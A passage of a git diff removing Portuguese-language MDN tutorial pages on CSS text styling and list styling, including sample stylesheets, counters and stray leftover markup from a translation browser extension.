-<p>Se necessário você pode especificar um tamanho atual, como: <code>12px</code> (12 pixels) para um instrumento de exibição ou <code>12pt</code> (12 pontos) para uma impressora. Este tamanho é nominalmente a largura de uma letra m, mas fontes variam na maneira do tamanho, você vê relatos do tamanho que você especifica.</p>
-
-<p>Para especificar um tamanho de fonte por conta própria, use a propriedade <code>font-size</code>.</p>
-
-<h3 id="Altura_da_linha" name="Altura_da_linha">Altura da linha</h3>
-
-<p>A altura da linha especifica o espaçamento entre linhas. Se seu documento tem longos parágrafos com muitas linhas, um espaçamento mais largo que o normal faz com que a leitura seja mais fácil, especialmente se o tamanho da fonte for pequeno.</p>
-
-<p>Para especificar a altura da linha por conta própria, use a propriedade <code>line-height</code>.</p>
-
-<h3 id="Decora.C3.A7.C3.A3o" name="Decora.C3.A7.C3.A3o">Decoração</h3>
-
-<p>A propriedade separada <code>text-decoration</code> pode especificar outros estilos, como <code>underline</code> ou <code>line-through</code>. Você pode configurar isto para <code>none</code> removendo explicitamente qualquer decoração.</p>
-
-<h3 id="Outras_propriedades" name="Outras_propriedades">Outras propriedades</h3>
-
-<p>Para especificar itálico por conta própria, use <code>font-style: italic;</code><br>
- Para especificar negrito por conta própria, use <code>font-weight: bold;</code><br>
- Para especificar letras minúsculas por conta própria, use <code>font-variant: small-caps;</code></p>
-
-<p>Para tornar qualquer destes valores individualmente desativado, você pode especificar o valor <code>normal</code> ou <code>inherit</code>.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Você pode especificar os estilos do texto em uma variedade de outras maneiras.
- <p>Por exemplo, algumas propriedades mencionadas aqui têm outros valores que podem ser usados.</p>
-
- <p>Em uma folha de estilo complexa, evite usar a propriedade de abreviação de caracteres/palavras que facilitam a escrita <code>font</code>, por causa de seus efeitos colaterais (o re-escolher de outras propriedades individuais).</p>
-
- <p>Para maiores detalhes sobre as propriedades relacionadas às fontes, veja <a class="external" href="http://www.w3.org/TR/CSS21/fonts.html">Fonts</a> na especificação do CSS. Para maiores detalhes sobre decoração de textos, veja <a class="external" href="http://www.w3.org/TR/CSS21/text.html">Text</a>.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Especificando_fontes" name="A.C3.A7.C3.A3o:_Especificando_fontes">Ação: Especificando fontes</h2>
-
-<p>Para um documento de amostra, você pode escolher a fonte do elemento <small>BODY</small> e o resto do documento herda as configurações.</p>
-
-<p>Edite seu arquivo CSS. Adicione esta regra para mudar a fonte completamente. O topo do arquivo CSS é um local lógico para isto, mas isto terá o mesmo efeito em qualquer lugar que for posicionado:</p>
-
-<div style="width: 40em;">
-<pre class="eval">body {font: 16px "Comic Sans MS", cursive;}
-</pre>
-</div>
-
-<p>Adicione um comentário à regra, e deixe um espaço em branco para fazer sua disposição preferido.</p>
-
-<p>Atualize seu navegador para ver o efeito. Se o seu sistema tem Comic Sans MS, ou outra fonte cursiva que não suporta itálico, então seu navegador escolhe um tipo diferente de fonte para o texto em itálico na primeira linha:</p>
-
-<table style="border: 2px outset #36b; padding: 1em;">
- <tbody>
- <tr>
- <td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td>
- </tr>
- <tr>
- <td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
- </tr>
- </tbody>
-</table>
-
-<p>Da barra de menu do seu navegador, escolha Exibir – Tamanho do Texto – Aumentar. Mesmo que o estilo especificado seja 16 pixels, um usuário lendo o documento pode mudar o tamanho.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe;">
- <caption>Desafio</caption>
- <tbody>
- <tr>
- <td>Sem mudar mais nada, faça todas as seis letras iniciais duas vezes o tamanho na fonte serifada padrão do navegador:
- <table>
- <tbody>
- <tr>
- <td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: green; font: 200% serif;">S</strong>tyle <strong style="color: green; font: 200% serif;">S</strong>heets</td>
- </tr>
- <tr>
- <td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; font: 200% serif;">C</strong>ascading <strong style="color: red; font: 200% serif;">S</strong>tyle <strong style="color: red; font: 200% serif;">S</strong>heets</td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Estilos_de_texto" title="Talk:pt/CSS/Como_começar/Estilos_de_texto">Discussão</a>.</p>
-
-<p>Seu documento de amostra está pronto para usar várias cores nomeadas. A próxima página lista os nomes das cores padrão e explica como você pode especificar outras: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Cor" title="pt/CSS/Como_começar/Cor">Cor</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:CSS legível", "CSS:Como começar:Cor") }}</p>
diff --git a/files/pt-pt/learn/css/styling_text/index.html b/files/pt-pt/learn/css/styling_text/index.html
deleted file mode 100644
index 6cd91239b8..0000000000
--- a/files/pt-pt/learn/css/styling_text/index.html
+++ /dev/null
@@ -1,137 +0,0 @@
----
-title: Estilizar texto
-slug: Learn/CSS/Styling_text
-tags:
- - CSS
- - Hiperligações
- - Principiante
- - Texto
- - Tipos de Letra
- - letra
- - lina
- - listas
- - modulo
- - sombra
- - tipo de letra
- - tipos de letra da Web
-translation_of: Learn/CSS/Styling_text
-original_slug: Learn/CSS/Estilo_de_texto
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">Com os conceitos básicos da linguagem CSS cobertos, o próximo tópico de CSS para se concentrar será o estilo de texto - uma das coisas mais comuns que irá fazer com CSS. Aqui, nós vamos ver os fundamentos do estilo de texto, incluindo a configuração do tipo de letra, negrito, itálico, espaçamento de linha e letra, sombras e outros recursos de texto. Nós completamos o módulo ao analisar a aplicação de tipos de letra personalizadas para a sua página, e listas de estilo e hiperligações.</p>
-
-<h2 id="Pré-requisitos">Pré-requisitos</h2>
-
-<p>Before starting this module, you should already have basic familiarity with HTML, as discussed in the <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a> module, and be comfortable with CSS fundamentals, as discussed in <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as <a href="http://jsbin.com/">JSBin</a>,<a href="https://codepen.io/"> CodePen</a> or <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
-</div>
-
-<h2 id="Guias">Guias</h2>
-
-<p>This module contains the following articles, which will teach you all of the essentials behind styling HTML text content.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></dt>
- <dd>In this article we go through all the basics of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing.</dd>
- <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Styling lists</a></dt>
- <dd>Lists behave like any other text for the most part, but there are some CSS properties specific to lists that you need to know about, and some best practices to consider. This article explains all.</dd>
- <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Styling links</a></dt>
- <dd>When styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as navigation menus and tabs. We'll look at all these topics in this article.</dd>
- <dt><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Web fonts</a></dt>
- <dd>Here we will explore web fonts in detail — these allow you to download custom fonts along with your web page, to allow for more varied, custom text styling.</dd>
-</dl>
-
-<h2 id="Avaliações">Avaliações</h2>
-
-<p>The following assessments will test your understanding of the text styling techniques covered in the guides above.</p>
-
-<dl>
- <dt><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Typesetting a community school homepage</a></dt>
- <dd>In this assessment we'll test your understanding of styling text by getting you to style the text for a community school's homepage.</dd>
-</dl>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/css/styling_text/styling_lists/index.html b/files/pt-pt/learn/css/styling_text/styling_lists/index.html
deleted file mode 100644
index 654b8a240e..0000000000
--- a/files/pt-pt/learn/css/styling_text/styling_lists/index.html
+++ /dev/null
@@ -1,363 +0,0 @@
----
-title: Listas
-slug: Learn/CSS/Styling_text/Styling_lists
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/Styling_text/Styling_lists
-translation_of_original: Web/Guide/CSS/Getting_started/Lists
-original_slug: Web/CSS/Como_começar/Listas
----
-<p>{{ PreviousNext("CSS:Como começar:Conteúdo", "CSS:Como começar:Caixas") }}</p>
-
-<p>Esta página descreve como você pode usar as CSS para especificar a aparência das listas.</p>
-
-<p>Você cria um novo documento de amostra contendo listas, e uma nova folha de estilo que estiliza as listas.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_Listas" name="Informa.C3.A7.C3.A3o:_Listas">Informação: Listas</h2>
-
-<p>Se você resolveu o desafio da última página (<strong><a href="/pt/CSS/Como_come%C3%A7ar/Conte%C3%BAdo" title="pt/CSS/Como_começar/Conteúdo">Conteúdo</a></strong>), então você viu como você pode adicionar conteúdo antes de qualquer elemento para mostrar isto como o item de uma lista.</p>
-
-<p>CSS proporciona propriedades especiais que foram designadas para listas. Geralmente é mais conveniente usar estas propriedades sempre que você puder.</p>
-
-<p>Para especificar o estilo para uma lista, use a propriedade <code>list-style</code> para especificar o tipo de marcador.</p>
-
-<p>O seletor nas regras do seu CSS pode selecionar qualquer um dos elementos na sua lista de itens (por exemplo, <code>LI</code>), ou isto pode selecionar o elemento primário da lista (por exemplo, <code>UL</code>). Então os elementos da lista herdam o estilo.</p>
-
-<h3 id="Listas_n.C3.A3o_ordenadas" name="Listas_n.C3.A3o_ordenadas">Listas não ordenadas</h3>
-
-<p>Em uma lista <em>não ordenada</em>, cada item da lista é marcado da mesma maneira.</p>
-
-<p>CSS tem três tipos de marcador. Aqui está como seu navegador os mostra:</p>
-
-<ul style="padding-left: 2em;">
- <li style=""><code>disc</code></li>
- <li style=""><code>circle</code></li>
- <li style=""><code>square</code></li>
-</ul>
-
-<p>Alternativamente, você pode especificar a URL de uma imagem.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Estas regras especificam diferentes marcadores para diferentes classes de itens da lista:
- <div style="width: 30em;">
- <pre class="eval">
-li.open {list-style: circle;}
-li.closed {list-style: disc;}
-</pre>
- </div>
-
- <p>Quando estas classes são usadas em uma lista, elas distinguem entre os itens aberto (open) e fechado (closed):</p>
-
- <div style="width: 30em;">
- <pre class="eval">
-&lt;UL&gt;
- &lt;LI class="open"&gt;Lorem ipsum&lt;/LI&gt;
- &lt;LI class="closed"&gt;Dolor sit&lt;/LI&gt;
- &lt;LI class="closed"&gt;Amet consectetuer&lt;/LI&gt;
- &lt;LI class="open"&gt;Magna aliquam&lt;/LI&gt;
- &lt;LI class="closed"&gt;Autem veleum&lt;/LI&gt;
-&lt;/UL&gt;
-</pre>
- </div>
-
- <p>O resultado será parecido com:</p>
-
- <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <ul style="padding-right: 6em;">
- <li style="">Lorem ipsum</li>
- <li style="">Dolor sit</li>
- <li style="">Amet consectetuer</li>
- <li style="">Magna aliquam</li>
- <li style="">Autem veleum</li>
- </ul>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Listas_ordenadas" name="Listas_ordenadas">Listas ordenadas</h3>
-
-<p>Em uma lista <em>ordenada</em>, cada item da lista é marcado diferentemente para mostrar a posição em seqüência.</p>
-
-<p>Use a propriedade <code>list-style</code> para especificar o tipo de marcador:</p>
-
-<ul style="padding-left: 2em;">
- <li style=""><code>decimal</code></li>
- <li style=""><code>lower-roman</code></li>
- <li style=""><code>upper-roman</code></li>
- <li style=""><code>lower-latin</code></li>
- <li style=""><code>upper-latin</code></li>
-</ul>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Esta regra especifica os elementos <small>OL</small> com a classe <code>info</code>, os itens são identificados com letras maiúsculas.
- <div style="width: 30em;">
- <pre class="eval">
-ol.info {list-style: upper-latin;}
-</pre>
- </div>
-
- <p>Os elementos <small>LI</small> na lista herdam este estilo:</p>
-
- <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <ul>
- <li style="padding-right: 6em;">Lorem ipsum</li>
- <li style="padding-right: 6em;">Dolor sit</li>
- <li style="padding-right: 6em;">Amet consectetuer</li>
- <li style="padding-right: 6em;">Magna aliquam</li>
- <li style="padding-right: 6em;">Autem veleum</li>
- </ul>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>A propriedade <code>list-style</code> é uma propriedade "abreviada". Em folhas de estilo complexas você pode preferir usar propriedades separadas para configurar valores separados. Para detalhes sobre estas propriedades separadas, e mais detalhes sobre como as CSS especificam listas, veja <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#q10">Lists</a> na CSS Specification.
- <p>Se você está usando a linguagem de marcação como o HTML que proporciona tags convecionais para listas não ordenadas (<small>UL</small>) e ordenadas (<small>OL</small>), então é bom praticar usando tags da maneira que foi explicado. Contudo, você pode usar as CSS para fazer <small>UL</small> mostrar ordenado e <small>OL</small> para mostrar não ordenado se você precisar.</p>
-
- <p>Os navegadores diferem no modo como implementam os estilos das listas. Não espere que sua folha de estilo dê resultados idênticos em todos os navegadores.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Contadores" name="Contadores">Contadores</h3>
-
-<div style="border: 1px solid red; padding: 6px; margin: 0 0 .5em -6px; width: 100%;">
-<p><strong>Note: </strong> Alguns navegadores não suportam contadores.</p>
-</div>
-
-<p>Você pode usar contadores para numerar quaisquer elementos, não somente itens listados. Por exemplo, em alguns documentos você pode querer numerar cabeçalhos ou parágrafos.</p>
-
-<p>Para especificar uma numeração, você precisa de um <em>contador</em> com um nome que você especifica.</p>
-
-<p>Em alguns elementos antes da contagem começar, re-inicie o contador com a propriedade <code>counter-reset</code> e o nome do seu contador. O principal dos elementos que você estiver contando é um bom lugar para isto, mas você pode usar qualquer elemento que esteja antes da lista de itens.</p>
-
-<p>Em cada elemento que o contador incrementar, use a propriedade <code>counter-increment</code> e o nome do seu contador.</p>
-
-<p>Para mostrar seu contador, adicione <code>:before</code> ou <code>:after</code> ao seletor e use a propriedade <code>content</code> (como fez na página anterior, <strong><a href="/pt/CSS/Como_come%C3%A7ar/Conte%C3%BAdo" title="pt/CSS/Como_começar/Conteúdo">Conteúdo</a></strong>).</p>
-
-<p>No valor da propriedade <code>content</code>, especifique <code>counter()</code> com o nome do seu contador. Opcionalmente especifique um tipo. Os tipos são como na seção passada em <strong>Listas ordenadas</strong>.</p>
-
-<p>Normalmente o elemento que mostra o contador também incrementa isto.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Esta regra inicializa um contador para cada elemento <small>H3</small> com a classe <code>numbered</code>:
- <div style="width: 30em;">
- <pre class="eval">
-h3.numbered {counter-reset: mynum;}
-</pre>
- </div>
-
- <p>Esta regra mostra e incrementa o contador para cada elemento <small>P</small> com a classe <code>numbered</code>:</p>
-
- <div style="width: 30em;">
- <pre class="eval">
-p.numbered:before {
- content: counter(mynum) ": ";
- counter-increment: mynum;
- font-weight: bold;}
-</pre>
- </div>
-
- <p>O resultado se parece com isto:</p>
-
- <table style="border: 2px outset #36b; padding: .5em 6em .5em 1em; background-color: white;">
- <tbody>
- <tr>
- <td><strong>Cabeçalho</strong>
-
- <p><strong>1: </strong>Lorem ipsum</p>
-
- <p><strong>2: </strong>Dolor sit</p>
-
- <p><strong>3: </strong>Amet consectetuer</p>
-
- <p><strong>4: </strong>Magna aliquam</p>
-
- <p><strong>5: </strong>Autem veleum</p>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Você não pode usar contadores a menos que você saiba que todos os que lêem o seu documento têm um navegador que os suporta.
- <p>Se você puder usar contadores, eles tem a vantagem de que você pode estilizar os contadores separadamente da lista de itens. No exemplo anterior, os contadores estão em negrito mas a os itens da lista não.</p>
-
- <p>Você pode também usar contadores em meios mais complexos — por exemplo, para numerar seções, cabeçalhos, sub-cabeçalhos e parágrafos em documentos formais. Para detalhes, veja <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#counters">Automatic counters and numbering</a> em CSS Specification.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Listas_denominadas" name="A.C3.A7.C3.A3o:_Listas_denominadas">Ação: Listas denominadas</h2>
-
-<p>Crie um novo documento HTML, <code>doc2.html</code>. Copie e cole o conteúdo daqui, tendo certeza de que você rola o mouse para pegar tudo isto:</p>
-
-<div style="width: 48em; height: 12em; overflow: auto;">
-<pre class="eval">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
-&lt;HTML&gt;
-&lt;HEAD&gt;
-&lt;TITLE&gt;Documento de amostra 2&lt;/TITLE&gt;
-&lt;LINK rel="stylesheet" type="text/css" href="style2.css"&gt;
-&lt;/HEAD&gt;
-&lt;BODY&gt;
-
-&lt;H3 id="oceans"&gt;Os oceanos&lt;/H3&gt;
-&lt;UL&gt;
-&lt;LI&gt;Ártico&lt;/LI&gt;
-&lt;LI&gt;Atlântico&lt;/LI&gt;
-&lt;LI&gt;Pacífico&lt;/LI&gt;
-&lt;LI&gt;Índico&lt;/LI&gt;
-&lt;LI&gt;Antártico&lt;/LI&gt;
-&lt;/UL&gt;
-
-&lt;H3 class="numbered"&gt;Numbered paragraphs&lt;/H3&gt;
-&lt;P class="numbered"&gt;Lorem ipsum&lt;/P&gt;
-&lt;P class="numbered"&gt;Dolor sit&lt;/P&gt;
-&lt;P class="numbered"&gt;Amet consectetuer&lt;/P&gt;
-&lt;P class="numbered"&gt;Magna aliquam&lt;/P&gt;
-&lt;P class="numbered"&gt;Autem veleum&lt;/P&gt;
-
-&lt;/BODY&gt;
-&lt;/HTML&gt;
-</pre>
-</div>
-
-<p>Faça uma nova folha de estilo, <code>style2.css</code>. Copie e cole o conteúdo daqui:</p>
-
-<div style="width: 48em;">
-<pre class="eval">/* parágrafos numerados */
-h3.numbered {counter-reset: mynum;}
-
-p.numbered:before {
- content: counter(mynum) ": ";
- counter-increment: mynum;
- font-weight: bold;}
-</pre>
-</div>
-
-<p>Se a disposição e o comentário não estiver ao seu gosto, mude-os.</p>
-
-<p>Abra o documento no seu navegador. Se o seu navegador suporta contadores, você verá algo semelhante ao exemplo abaixo. Se o seu navegador não suporta contadores, então você não verá os números (e provavelmente nem sequer os dois pontos (:)):</p>
-
-<table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">Os oceanos</p>
-
- <ul style="">
- <li>Ártico</li>
- <li>Atlântico</li>
- <li>Pacífico</li>
- <li>Índico</li>
- <li>Antártico</li>
- </ul>
-
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">Parágrafos numerados</p>
-
- <p><strong>1: </strong>Lorem ipsum</p>
-
- <p><strong>2: </strong>Dolor sit</p>
-
- <p><strong>3: </strong>Amet consectetuer</p>
-
- <p><strong>4: </strong>Magna aliquam</p>
-
- <p><strong>5: </strong>Autem veleum</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe; width: 60%;">
- <caption>Desafios</caption>
- <tbody>
- <tr>
- <td>Adicione uma regra à sua folha de estilo, para numerar os oceanos usando numerais Romanos de i até v:
- <table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">Os oceanos</p>
-
- <ul style="">
- <li>Ártico</li>
- <li>Atlântico</li>
- <li>Pacífico</li>
- <li>Índico</li>
- <li>Antártico</li>
- </ul>
- </td>
- </tr>
- </tbody>
- </table>
-
- <p><br>
